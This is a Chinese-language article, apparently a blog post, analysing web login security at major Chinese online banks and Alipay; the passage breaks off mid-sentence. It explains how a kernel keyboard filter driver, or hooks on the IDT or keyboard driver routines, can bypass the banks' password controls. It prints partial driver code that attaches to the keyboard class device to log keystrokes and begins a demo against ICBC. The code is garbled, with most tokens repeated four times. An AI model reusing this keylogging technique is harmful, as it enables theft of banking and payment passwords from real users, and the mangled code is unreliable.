网上银行等电子支付平台的WEBWEBWEBWEB登陆安全性简要分析xyzreg:本文还是去年年初写的,当时出于安全考虑没放出来。现在部分网上银行已大幅度降低了无高级别安全措施情况下的转账限额,并建议用户使用动态口令卡或者USBKey,总体安全系数有所提高。随着电子商务的普及,网上银行以及在线电子支付等方式逐渐被网民所接受和喜爱。但是网上银行以及电子商务支付平台的安全性不容乐观。尽管各网上银行采取SSL加密防止通过嗅探网络封包的方式截取密码;对于防止WEB登陆时密码被窃取,网上银行采取了安全控件或者动态软键盘的方法,但考虑的仍不全面,我们还是能采取相应的方法截获用户输入的密码。下面就以具有代表性的四大银行:中国工商银行、中国农业银行、中国建设银行、中国银行;商业银行:招商银行;电子支付平台:阿里巴巴支付宝等为例,分别就客户端密码方面进行脆弱性分析。网上银行以及其他电子商务支付平台的WEB登陆安全性直接与用户的经济利益相关,所以有必要不遗余力的加强WEB登陆安全性的建设。另外由于不是所有的用户都使用数字证书和U盾之类安全认证产品,所以“黑客”只要截取到用户的登陆密码以及支付密码就能随心所欲的转帐/支付,危害甚大。本文谈的采用纯技术截取密码,而不是用假页面假接口等钓鱼方式骗取密码的方法。网上银行对于防止密码被盗分别采用了安全控件和动态软键盘的方法:1111、采取安全控件的,典型代表有:中国工商银行、招商银行、阿里巴巴支付宝等这类安全控件考虑还算全面,防止了键盘/消息钩子,而且使通过IE的COM接口获取密码的方法也无能为力。但是这类安全控件做得不够底层,考虑得欠深入。我们采用键盘过滤驱动的方法就可以突破安全控件的保护记录密码了。除了键盘过滤驱动方法外还可以挂接IDT(中断描述符表)的键盘入口,或者挂钩键盘驱动Dispatch例程以及Inlinehook相应IRP分发函数。当然,更深入点的话还可以挂钩i8042prt.sys。不过由于编写驱动程序不同与开发普通的应用程序,难度稍大,所以目前还未见公开的采用此技术截取这些网上银行密码的木马。但是开发起来也并不是太困难,相对而言采取键盘过滤驱动的方法较通用稳定。基本原理是我们的驱动创建一个设备附加到键盘驱动Kbdclass下的设备,这样所有的IRP(输入输出请求包)包都将先发给我们的驱动程序,然后再转发给系统中的键盘驱动,我们的驱动程序获取IRP后就可以从中获得键盘的scancode扫描码,这样就能在系统内核的层面获得键盘输入信息。键盘过滤驱动的部分代码如下:NTSTATUSNTSTATUSNTSTATUSNTSTATUSHookKeyboard(INHookKeyboard(INHookKeyboard(INHookKeyboard(INPDRIVER_OBJECTPDRIVER_OBJECTPDRIVER_OBJECTPDRIVER_OBJECTpDriverObject)pDriverObject)pDriverObject)pDriverObject){{{{PDEVICE_OBJECTPDEVICE_OBJECTPDEVICE_OBJECTPDEVICE_OBJECTpKeyboardDeviceObject;pKeyboardDeviceObject;pKeyboardDeviceObject;pKeyboardDeviceObject;NTSTATUSNTSTATUSNTSTATUSNTSTATUSstatusstatusstatusstatus====IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),NULL,NULL,NULL,NULL,FILE_DEVICE_KEYBOARD,FILE_DEVICE_KEYBOARD,FILE_DEVICE_KEYBOARD,FILE_DEVICE_KEYBOARD,0,0,0,0,true,true,true,true,&pKeyboardDeviceObject);&pKeyboardDeviceObject);&pKeyboardDeviceObject);&pKeyboardDeviceObject);pKeyboardDeviceObject-FlagspKeyboardDeviceObject-FlagspKeyboardDeviceObject-FlagspKeyboardDeviceObject-Flags====pKeyboardDeviceObject-FlagspKeyboardDeviceObject-FlagspKeyboardDeviceObject-FlagspKeyboardDeviceObject-Flags||||(DO_BUFFERED_IO(DO_BUFFERED_IO(DO_BUFFERED_IO(DO_BUFFERED_IO||||DO_POWER_PAGABLE);DO_POWER_PAGABLE);DO_POWER_PAGABLE);DO_POWER_PAGABLE);pKeyboardDeviceObject-Flags=pKeyboardDeviceObject-Flags&pKeyboardDeviceObject-Flags=pKeyboardDeviceObject-Flags&pKeyboardDeviceObject-Flags=pKeyboardDeviceObject-Flags&pKeyboardDeviceObject-Flags=pKeyboardDeviceObject-Flags&~DO_DEVICE_INITIALIZING;~DO_DEVICE_INITIALIZING;~DO_DEVICE_INITIALIZING;~DO_DEVICE_INITIALIZING;RtlZeroMemory(pKeyboardDeviceObject-DeviceExtension,RtlZeroMemory(pKeyboardDeviceObject-DeviceExtension,RtlZeroMemory(pKeyboardDeviceObject-DeviceExtension,RtlZeroMemory(pKeyboardDeviceObject-DeviceExtension,sizeof(DEVICE_EXTENSION));sizeof(DEVICE_EXTENSION));sizeof(DEVICE_EXTENSION));sizeof(DEVICE_EXTENSION));PDEVICE_EXTENSIONPDEVICE_EXTENSIONPDEVICE_EXTENSIONPDEVICE_EXTENSIONpKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject-DeviceExtension;pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject-DeviceExtension;pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject-DeviceExtension;pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject-DeviceExtension;CCHARCCHARCCHARCCHARntNameBuffer[64]ntNameBuffer[64]ntNameBuffer[64]ntNameBuffer[64]====\\Device\\KeyboardClass0;\\Device\\KeyboardClass0;\\Device\\KeyboardClass0;\\Device\\KeyboardClass0;STRINGSTRINGSTRINGSTRINGntNameString;ntNameString;ntNameString;ntNameString;UNICODE_STRINGUNICODE_STRINGUNICODE_STRINGUNICODE_STRINGuKeyboardDeviceName;uKeyboardDeviceName;uKeyboardDeviceName;uKeyboardDeviceName;RtlInitAnsiString(RtlInitAnsiString(RtlInitAnsiString(RtlInitAnsiString(&ntNameString,&ntNameString,&ntNameString,&ntNameString,ntNameBufferntNameBufferntNameBufferntNameBuffer););););RtlAnsiStringToUnicodeString(RtlAnsiStringToUnicodeString(RtlAnsiStringToUnicodeString(RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,&uKeyboardDeviceName,&uKeyboardDeviceName,&uKeyboardDeviceName,&ntNameString,&ntNameString,&ntNameString,&ntNameString,TRUETRUETRUETRUE););););IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtenIoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtenIoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtenIoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension-pKeyboardDevice);sion-pKeyboardDevice);sion-pKeyboardDevice);sion-pKeyboardDevice);RtlFreeUnicodeString(&uKeyboardDeviceName);RtlFreeUnicodeString(&uKeyboardDeviceName);RtlFreeUnicodeString(&uKeyboardDeviceName);RtlFreeUnicodeString(&uKeyboardDeviceName);returnreturnreturnreturnSTATUS_SUCCESS;STATUS_SUCCESS;STATUS_SUCCESS;STATUS_SUCCESS;}}}}下面以工商银行的网上银行为例,演示我们的程序。为了演示,我们的驱动程序将实时打印出获得的键盘记录的信息,并且把完整的信息记录到磁盘文件上。招商银行、阿里巴巴支付宝等效果等同,支付密码用此法同样能截取。截取时实时打印的信